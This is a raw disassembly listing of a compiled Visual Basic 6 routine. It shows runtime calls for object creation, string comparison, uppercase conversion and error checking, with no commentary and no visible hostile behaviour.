mov ecx, dword [ebp - 0x1b0]
push ecx
call dword [eax + 0x24]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x425d5c
push 0x24
push 0x41b77c
mov edx, dword [ebp - 0x1b0]
push edx
mov eax, dword [ebp - 0x1b4]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x4ac], eax
jmp 0x425d66
mov dword [ebp - 0x4ac], 0
mov dword [ebp - 4], 0x64
cmp dword [ebp - 0x2c], 0
jne 0x425d8d
lea ecx, [ebp - 0x2c]
push ecx
push 0x4186b0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x4b0], edx
jmp 0x425d96
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x4b0], eax
mov ecx, dword [ebp - 0x4b0]
mov edx, dword [ecx]
mov dword [ebp - 0x1b0], edx
lea eax, [ebp - 0x1a0]
push eax
mov ecx, dword [ebp - 0x1b0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b0]
push eax
call dword [edx + 0x30]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x425df1
push 0x30
push 0x41b77c
mov ecx, dword [ebp - 0x1b0]
push ecx
mov edx, dword [ebp - 0x1b4]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x4b4], eax
jmp 0x425dfb
mov dword [ebp - 0x4b4], 0
mov dword [ebp - 4], 0x65
cmp dword [ebp - 0x2c], 0
jne 0x425e22
lea eax, [ebp - 0x2c]
push eax
push 0x4186b0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x4b8], ecx
jmp 0x425e2b
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x4b8], edx
mov eax, dword [ebp - 0x4b8]
mov ecx, dword [eax]
mov dword [ebp - 0x1b0], ecx
lea edx, [ebp - 0x1a0]
push edx
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1b0]
push edx
call dword [ecx + 0x1c]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x425e86
push 0x1c
push 0x41b77c
mov eax, dword [ebp - 0x1b0]
push eax
mov ecx, dword [ebp - 0x1b4]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x4bc], eax
jmp 0x425e90
mov dword [ebp - 0x4bc], 0
mov edx, dword [ebp - 0x1a0]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaStrI4]
mov edx, eax
lea ecx, [ebp - 0x30]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov dword [ebp - 4], 0x66
cmp dword [0x440050], 0
jne 0x425ed4
push 0x440050
push 0x419000
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x4c0], 0x440050
jmp 0x425ede
mov dword [ebp - 0x4c0], 0x440050
mov eax, dword [ebp - 0x4c0]
mov ecx, dword [eax]
mov dword [ebp - 0x1b0], ecx
mov word [ebp - 0x198], 0
mov edx, dword [0x440030]
push edx
mov eax, dword [0x44006c]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x198]
push edx
lea eax, [ebp - 0x34]
push eax
push 0x440040
mov ecx, dword [ebp - 0x1b0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b0]
push eax
call dword [edx + 0x78]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x425f6d
push 0x78
push 0x41a71c
mov ecx, dword [ebp - 0x1b0]
push ecx
mov edx, dword [ebp - 0x1b4]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x4c4], eax
jmp 0x425f77
mov dword [ebp - 0x4c4], 0
mov eax, dword [ebp - 0x38]
push eax
push 0x41a554
call dword [sym.imp.MSVBVM60.DLL___vbaStrCmp]
mov esi, eax
neg esi
sbb esi, esi
neg esi
neg esi
mov ecx, dword [ebp - 0x30]
push ecx
push 0x41b004
call dword [sym.imp.MSVBVM60.DLL___vbaStrCmp]
neg eax
sbb eax, eax
inc eax
neg eax
and si, ax
mov word [ebp - 0x1b8], si
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0xc
movsx ecx, word [ebp - 0x1b8]
test ecx, ecx
je 0x426067
mov dword [ebp - 4], 0x67
cmp dword [ebp - 0x2c], 0
jne 0x425ff9
lea edx, [ebp - 0x2c]
push edx
push 0x4186b0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x4c8], eax
jmp 0x426002
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x4c8], ecx
mov edx, dword [ebp - 0x4c8]
mov eax, dword [edx]
mov dword [ebp - 0x1b0], eax
lea ecx, [ebp - 0x1a0]
push ecx
mov edx, dword [ebp - 0x1b0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1b0]
push ecx
call dword [eax + 0x30]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x42605d
push 0x30
push 0x41b77c
mov edx, dword [ebp - 0x1b0]
push edx
mov eax, dword [ebp - 0x1b4]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x4cc], eax
jmp 0x426067
mov dword [ebp - 0x4cc], 0
jmp 0x426230
mov dword [ebp - 4], 0x6d
cmp dword [0x440050], 0
jne 0x426098
push 0x440050
push 0x419000
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x4d0], 0x440050
jmp 0x4260a2
mov dword [ebp - 0x4d0], 0x440050
mov ecx, dword [ebp - 0x4d0]
mov edx, dword [ecx]
mov dword [ebp - 0x1b0], edx
mov word [ebp - 0x198], 0
mov eax, dword [0x440030]
push eax
mov ecx, dword [0x44006c]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, dword [0x440044]
push edx
push 0x41b720
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x198]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
mov ecx, dword [ebp - 0x1b0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b0]
push eax
call dword [edx + 0x78]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x42614d
push 0x78
push 0x41a71c
mov ecx, dword [ebp - 0x1b0]
push ecx
mov edx, dword [ebp - 0x1b4]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x4d4], eax
jmp 0x426157
mov dword [ebp - 0x4d4], 0
mov eax, dword [ebp - 0x3c]
push eax
push 0x41a554
call dword [sym.imp.MSVBVM60.DLL___vbaStrCmp]
neg eax
sbb eax, eax
neg eax
neg eax
mov word [ebp - 0x1b8], ax
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
movsx ecx, word [ebp - 0x1b8]
test ecx, ecx
je 0x426230
mov dword [ebp - 4], 0x6e
cmp dword [ebp - 0x2c], 0
jne 0x4261c2
lea edx, [ebp - 0x2c]
push edx
push 0x4186b0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x4d8], eax
jmp 0x4261cb
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x4d8], ecx
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x1b0], eax
lea ecx, [ebp - 0x1a0]
push ecx
mov edx, dword [ebp - 0x1b0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1b0]
push ecx
call dword [eax + 0x24]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x426226
push 0x24
push 0x41b77c
mov edx, dword [ebp - 0x1b0]
push edx
mov eax, dword [ebp - 0x1b4]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x4dc], eax
jmp 0x426230
mov dword [ebp - 0x4dc], 0
mov dword [ebp - 4], 0x72
cmp dword [0x440050], 0
jne 0x42625c
push 0x440050
push 0x419000
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x4e0], 0x440050
jmp 0x426266
mov dword [ebp - 0x4e0], 0x440050
mov ecx, dword [ebp - 0x4e0]
mov edx, dword [ecx]
mov dword [ebp - 0x1b0], edx
lea eax, [ebp - 0x34]
push eax
push 0x440044
mov ecx, dword [ebp - 0x1b0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b0]
push eax
call dword [edx + 0x4c]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x4262c3
push 0x4c
push 0x41a71c
mov ecx, dword [ebp - 0x1b0]
push ecx
mov edx, dword [ebp - 0x1b4]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x4e4], eax
jmp 0x4262cd
mov dword [ebp - 0x4e4], 0
mov eax, dword [ebp - 0x34]
push eax
push 0x41b730
call dword [sym.imp.MSVBVM60.DLL___vbaStrCmp]
neg eax
sbb eax, eax
inc eax
neg eax
mov word [ebp - 0x18c], ax
mov dword [ebp - 0x194], 0xb
cmp dword [0x440d40], 0
jne 0x426319
push 0x440d40
push 0x41aee0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x4e8], 0x440d40
jmp 0x426323
mov dword [ebp - 0x4e8], 0x440d40
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx]
mov dword [ebp - 0x1b8], edx
lea eax, [ebp - 0x54]
push eax
mov ecx, dword [ebp - 0x1b8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b8]
push eax
call dword [edx + 0x14]
fnclex
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jge 0x42637b
push 0x14
push 0x41aed0
mov ecx, dword [ebp - 0x1b8]
push ecx
mov edx, dword [ebp - 0x1bc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x4ec], eax
jmp 0x426385
mov dword [ebp - 0x4ec], 0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x1c0], eax
lea ecx, [ebp - 0x38]
push ecx
mov edx, dword [ebp - 0x1c0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1c0]
push ecx
call dword [eax + 0x58]
fnclex
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0
jge 0x4263d8
push 0x58
push 0x41aef0
mov edx, dword [ebp - 0x1c0]
push edx
mov eax, dword [ebp - 0x1c4]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x4f0], eax
jmp 0x4263e2
mov dword [ebp - 0x4f0], 0
mov ecx, dword [ebp - 0x38]
push ecx
push 0x41b720
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x74], 8
lea edx, [ebp - 0x74]
push edx
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcUpperCaseVar]
mov dword [ebp - 0x15c], 0x440064
mov dword [ebp - 0x164], 0x4008
lea ecx, [ebp - 0x164]
push ecx
lea edx, [ebp - 0x94]
push edx
call dword [sym.imp.MSVBVM60.DLL_rtcUpperCaseVar]
cmp dword [0x440d40], 0
jne 0x426459
push 0x440d40
push 0x41aee0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x4f4], 0x440d40
jmp 0x426463
mov dword [ebp - 0x4f4], 0x440d40
mov eax, dword [ebp - 0x4f4]
mov ecx, dword [eax]
mov dword [ebp - 0x1c8], ecx
lea edx, [ebp - 0x58]
push edx
mov eax, dword [ebp - 0x1c8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1c8]
push edx
call dword [ecx + 0x14]
fnclex
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0
jge 0x4264bb
push 0x14
push 0x41aed0
mov eax, dword [ebp - 0x1c8]
push eax
mov ecx, dword [ebp - 0x1cc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x4f8], eax
jmp 0x4264c5
mov dword [ebp - 0x4f8], 0
mov edx, dword [ebp - 0x58]
mov dword [ebp - 0x1d0], edx
lea eax, [ebp - 0x3c]
push eax
mov ecx, dword [ebp - 0x1d0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1d0]
push eax
call dword [edx + 0x58]
fnclex
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0
jge 0x426518
push 0x58
push 0x41aef0
mov ecx, dword [ebp - 0x1d0]
push ecx
mov edx, dword [ebp - 0x1d4]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x4fc], eax
jmp 0x426522
mov dword [ebp - 0x4fc], 0
mov eax, dword [ebp - 0x3c]
push eax
push 0x41b720
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xb4], 8
lea ecx, [ebp - 0xb4]
push ecx
lea edx, [ebp - 0xc4]
push edx
call dword [sym.imp.MSVBVM60.DLL_rtcUpperCaseVar]
mov dword [ebp - 0x16c], 0x440068
mov dword [ebp - 0x174], 0x4008
lea eax, [ebp - 0x174]
push eax
lea ecx, [ebp - 0xd4]
push ecx
call dword [sym.imp.MSVBVM60.DLL_rtcUpperCaseVar]
cmp dword [0x440d40], 0
jne 0x4265a2
push 0x440d40
push 0x41aee0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x500], 0x440d40
jmp 0x4265ac
mov dword [ebp - 0x500], 0x440d40
mov edx, dword [ebp - 0x500]
mov eax, dword [edx]
mov dword [ebp - 0x1d8], eax
lea ecx, [ebp - 0x5c]
push ecx
mov edx, dword [ebp - 0x1d8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1d8]
push ecx
call dword [eax + 0x14]
fnclex
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0
jge 0x426604
push 0x14
push 0x41aed0
mov edx, dword [ebp - 0x1d8]
push edx
mov eax, dword [ebp - 0x1dc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x504], eax
jmp 0x42660e
mov dword [ebp - 0x504], 0
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x1e0], ecx
lea edx, [ebp - 0x40]
push edx
mov eax, dword [ebp - 0x1e0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1e0]
push edx
call dword [ecx + 0x58]
fnclex
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 0
jge 0x426661
push 0x58
push 0x41aef0
mov eax, dword [ebp - 0x1e0]
push eax
mov ecx, dword [ebp - 0x1e4]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x508], eax
jmp 0x42666b
mov dword [ebp - 0x508], 0
mov edx, dword [ebp - 0x40]
push edx
push 0x41b720
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0x104], 8
lea eax, [ebp - 0x104]
push eax
lea ecx, [ebp - 0x114]
push ecx
call dword [sym.imp.MSVBVM60.DLL_rtcUpperCaseVar]
mov dword [ebp - 0x17c], 0x44006c
mov dword [ebp - 0x184], 0x4008
lea edx, [ebp - 0x184]
push edx
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcUpperCaseVar]
lea ecx, [ebp - 0x194]
push ecx
lea edx, [ebp - 0x84]
push edx
lea eax, [ebp - 0x94]
push eax
lea ecx, [ebp - 0xa4]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCmpNe]
push eax
lea edx, [ebp - 0xc4]
push edx
lea eax, [ebp - 0xd4]
push eax
lea ecx, [ebp - 0xe4]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCmpNe]
push eax
lea edx, [ebp - 0xf4]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaVarOr]
push eax
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x124]
push ecx
lea edx, [ebp - 0x134]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCmpNe]
push eax
lea eax, [ebp - 0x144]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaVarOr]
push eax
lea ecx, [ebp - 0x154]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaVarAnd]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaBoolVarNull]
mov word [ebp - 0x1e8], ax
lea edx, [ebp - 0x40]
push edx
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
push 4
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x14
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0x58]
push ecx
lea edx, [ebp - 0x54]
push edx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeObjList]
add esp, 0x10
lea eax, [ebp - 0x194]
push eax
lea ecx, [ebp - 0x124]
push ecx
lea edx, [ebp - 0x114]
push edx
lea eax, [ebp - 0x104]
push eax
lea ecx, [ebp - 0xd4]
push ecx
lea edx, [ebp - 0xc4]
push edx
lea eax, [ebp - 0xb4]
push eax
lea ecx, [ebp - 0x94]
push ecx
lea edx, [ebp - 0x84]
push edx
lea eax, [ebp - 0x74]
push eax
push 0xa
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0x2c
movsx ecx, word [ebp - 0x1e8]
test ecx, ecx
je 0x4267f5
mov dword [ebp - 4], 0x73
mov word [ebp - 0x28], 0xffff
jmp 0x4268bd
mov dword [ebp - 4], 0x77
mov word [ebp - 0x28], 0
mov dword [ebp - 4], 0x78
cmp dword [0x4400d8], 0
jne 0x42682e
push 0x4400d8
push 0x4192fc
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x50c], 0x4400d8
jmp 0x426838
mov dword [ebp - 0x50c], 0x4400d8
mov edx, dword [ebp - 0x50c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x50c]
mov edx, dword [ecx]
mov ecx, dword [edx]
push eax
call dword [ecx + 0x2fc]
push eax
lea edx, [ebp - 0x54]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaObjSet]
mov dword [ebp - 0x1b0], eax
push 0xffffffffffffffff
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1b0]
push edx
call dword [ecx + 0x5c]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x4268aa
push 0x5c
push 0x41b6cc
mov eax, dword [ebp - 0x1b0]
push eax
mov ecx, dword [ebp - 0x1b4]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x510], eax
jmp 0x4268b4
mov dword [ebp - 0x510], 0
lea ecx, [ebp - 0x54]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeObj]
wait
push 0x4269ac
jmp 0x426984
lea ecx, [ebp - 0x200]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeObj]
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
lea ecx, [ebp - 0x2c]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeObj]
lea ecx, [ebp - 0x30]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
ret